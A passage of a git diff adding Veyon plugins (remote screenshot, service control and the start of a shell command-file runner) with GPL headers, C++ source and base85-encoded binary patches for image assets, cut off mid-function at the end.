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 + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "ScreenshotFeaturePlugin.h" +#include "ComputerControlInterface.h" +#include "VeyonMasterInterface.h" +#include "Screenshot.h" + + +ScreenshotFeaturePlugin::ScreenshotFeaturePlugin( QObject* parent ) : + QObject( parent ), + m_screenshotFeature( Feature( Feature::Action | Feature::Master, + Feature::Uid( "d5ee3aac-2a87-4d05-b827-0c20344490bd" ), + Feature::Uid(), + tr( "Screenshot" ), QString(), + tr( "Use this function to take a screenshot of selected computers." ), + QStringLiteral(":/screenshot/camera-photo.png") ) ), + m_features( { m_screenshotFeature } ) +{ +} + + + +const FeatureList &ScreenshotFeaturePlugin::featureList() const +{ + return m_features; +} + + + +bool ScreenshotFeaturePlugin::startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + if( feature.uid() == m_screenshotFeature.uid() ) + { + for( const auto& controlInterface : computerControlInterfaces ) + { + Screenshot().take( controlInterface ); + + } + + QMessageBox::information( master.mainWindow(), + tr( "Screenshots taken" ), + tr( "Screenshot of %1 computer have been taken successfully." ). + arg( computerControlInterfaces.count() ) ); + + return true; + } + + return true; +} diff --git a/plugins/screenshot/ScreenshotFeaturePlugin.h b/plugins/screenshot/ScreenshotFeaturePlugin.h new file mode 100644 index 0000000..9de05fe --- /dev/null +++ b/plugins/screenshot/ScreenshotFeaturePlugin.h @@ -0,0 +1,82 @@ +/* + * ScreenshotFeaturePlugin.h - declaration of ScreenshotFeature class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef SCREENSHOT_FEATURE_PLUGIN_H +#define SCREENSHOT_FEATURE_PLUGIN_H + +#include "Feature.h" +#include "SimpleFeatureProvider.h" + +class ScreenshotFeaturePlugin : public QObject, SimpleFeatureProvider, PluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.Screenshot") + Q_INTERFACES(PluginInterface FeatureProviderInterface) +public: + ScreenshotFeaturePlugin( QObject* parent = nullptr ); + ~ScreenshotFeaturePlugin() override {} + + Plugin::Uid uid() const override + { + return QStringLiteral("ee322521-f4fb-482d-b082-82a79003afa7"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral("Screenshot"); + } + + QString description() const override + { + return tr( "Take screenshots of computers and save them locally." ); + } + + QString vendor() const override + { + return QStringLiteral("Veyon Community"); + } + + QString copyright() const override + { + return QStringLiteral("Tobias Junghans"); + } + + const FeatureList& featureList() const override; + + bool startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + +private: + const Feature m_screenshotFeature; + const FeatureList m_features; + +}; + +#endif // SCREENSHOT_FEATURE_PLUGIN_H diff --git a/plugins/screenshot/camera-photo.png b/plugins/screenshot/camera-photo.png new file mode 100644 index 0000000000000000000000000000000000000000..f8ab91dbb5203c46da7ec16e671913b7843da349 GIT binary patch literal 6650 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 literal 0 HcmV?d00001 diff --git a/plugins/screenshot/screenshot.qrc b/plugins/screenshot/screenshot.qrc new file mode 100644 index 0000000..7d26b75 --- /dev/null +++ b/plugins/screenshot/screenshot.qrc @@ -0,0 +1,5 @@ + + + camera-photo.png + + diff --git a/plugins/servicecontrol/CMakeLists.txt b/plugins/servicecontrol/CMakeLists.txt new file mode 100644 index 0000000..acb0088 --- /dev/null +++ b/plugins/servicecontrol/CMakeLists.txt @@ -0,0 +1,7 @@ +INCLUDE(BuildPlugin) + +BUILD_PLUGIN(servicecontrol + ServiceControlPlugin.cpp + MOCFILES + ServiceControlPlugin.h +) diff --git a/plugins/servicecontrol/ServiceControlPlugin.cpp b/plugins/servicecontrol/ServiceControlPlugin.cpp new file mode 100644 index 0000000..f55be63 --- /dev/null +++ b/plugins/servicecontrol/ServiceControlPlugin.cpp @@ -0,0 +1,110 @@ +/* + * ServiceControlPlugin.cpp - implementation of ServiceControlPlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "CommandLineIO.h" +#include "ServiceControlPlugin.h" +#include "VeyonServiceControl.h" + +ServiceControlPlugin::ServiceControlPlugin( QObject* parent ) : + QObject( parent ), + m_commands( { +{ "register", tr( "Register Veyon Service" ) }, +{ "unregister", tr( "Unregister Veyon Service" ) }, +{ "start", tr( "Start Veyon Service" ) }, +{ "stop", tr( "Stop Veyon Service" ) }, +{ "restart", tr( "Restart Veyon Service" ) }, +{ "status", tr( "Query status of Veyon Service" ) }, + } ) +{ +} + + + +ServiceControlPlugin::~ServiceControlPlugin() +{ +} + + + +CommandLinePluginInterface::RunResult ServiceControlPlugin::handle_register( const QStringList& arguments ) +{ + VeyonServiceControl serviceControl; + serviceControl.registerService(); + + return serviceControl.isServiceRegistered() ? Successful : Failed; +} + + + +CommandLinePluginInterface::RunResult ServiceControlPlugin::handle_unregister( const QStringList& arguments ) +{ + VeyonServiceControl serviceControl; + serviceControl.unregisterService(); + + return serviceControl.isServiceRegistered() ? Failed : Successful; +} + + + +CommandLinePluginInterface::RunResult ServiceControlPlugin::handle_start( const QStringList& arguments ) +{ + VeyonServiceControl serviceControl; + serviceControl.startService(); + + return serviceControl.isServiceRunning() ? Successful : Failed; +} + + + +CommandLinePluginInterface::RunResult ServiceControlPlugin::handle_stop( const QStringList& arguments ) +{ + VeyonServiceControl serviceControl; + serviceControl.stopService(); + + return serviceControl.isServiceRunning() ? Failed : Successful; +} + + + +CommandLinePluginInterface::RunResult ServiceControlPlugin::handle_restart( const QStringList& arguments ) +{ + handle_stop( arguments ); + return handle_start( arguments ); +} + + + +CommandLinePluginInterface::RunResult ServiceControlPlugin::handle_status( const QStringList& arguments ) +{ + if( VeyonServiceControl().isServiceRunning() ) + { + CommandLineIO::print( tr( "Service is running" ) ); + } + else + { + CommandLineIO::print( tr( "Service is not running" ) ); + } + + return NoResult; +} diff --git a/plugins/servicecontrol/ServiceControlPlugin.h b/plugins/servicecontrol/ServiceControlPlugin.h new file mode 100644 index 0000000..9db6f6d --- /dev/null +++ b/plugins/servicecontrol/ServiceControlPlugin.h @@ -0,0 +1,102 @@ +/* + * ServiceControlPlugin.h - declaration of ServiceControlPlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef SERVICE_CONTROL_PLUGIN_H +#define SERVICE_CONTROL_PLUGIN_H + +#include "CommandLinePluginInterface.h" + +class ServiceControlPlugin : public QObject, CommandLinePluginInterface, PluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.ServiceControl") + Q_INTERFACES(PluginInterface CommandLinePluginInterface) +public: + ServiceControlPlugin( QObject* parent = nullptr ); + ~ServiceControlPlugin() override; + + Plugin::Uid uid() const override + { + return QStringLiteral("b47bcae0-24ff-4bf5-869c-484d64af5c4c"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "ServiceControl" ); + } + + QString description() const override + { + return tr( "Configure and control Veyon service" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + QString commandLineModuleName() const override + { + return QStringLiteral( "service" ); + } + + QString commandLineModuleHelp() const override + { + return tr( "Commands for configuring and controlling Veyon Service" ); + } + + QStringList commands() const override + { + return m_commands.keys(); + } + + QString commandHelp( const QString& command ) const override + { + return m_commands.value( command ); + } + +public slots: + CommandLinePluginInterface::RunResult handle_register( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_unregister( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_start( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_stop( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_restart( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_status( const QStringList& arguments ); + +private: + QMap m_commands; + +}; + +#endif // SERVICE_CONTROL_PLUGIN_H diff --git a/plugins/shell/CMakeLists.txt b/plugins/shell/CMakeLists.txt new file mode 100644 index 0000000..f7c1750 --- /dev/null +++ b/plugins/shell/CMakeLists.txt @@ -0,0 +1,3 @@ +INCLUDE(BuildPlugin) + +BUILD_PLUGIN(shell ShellCommandLinePlugin.cpp MOCFILES ShellCommandLinePlugin.h) diff --git a/plugins/shell/ShellCommandLinePlugin.cpp b/plugins/shell/ShellCommandLinePlugin.cpp new file mode 100644 index 0000000..20cd0f3 --- /dev/null +++ b/plugins/shell/ShellCommandLinePlugin.cpp @@ -0,0 +1,110 @@ +/* + * ShellCommandLinePlugin.cpp - implementation of ShellCommandLinePlugin class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include + +#include "CommandLineIO.h" +#include "ShellCommandLinePlugin.h" + + +ShellCommandLinePlugin::ShellCommandLinePlugin( QObject* parent ) : + QObject( parent ), + m_commands( { +{ "run", tr( "Run command file" ) }, + } ) +{ +} + + + +ShellCommandLinePlugin::~ShellCommandLinePlugin() +{ +} + + + +QStringList ShellCommandLinePlugin::commands() const +{ + return m_commands.keys(); +} + + + +QString ShellCommandLinePlugin::commandHelp( const QString& command ) const +{ + return m_commands.value( command ); +} + + + +CommandLinePluginInterface::RunResult ShellCommandLinePlugin::handle_main() +{ + QTextStream stream( 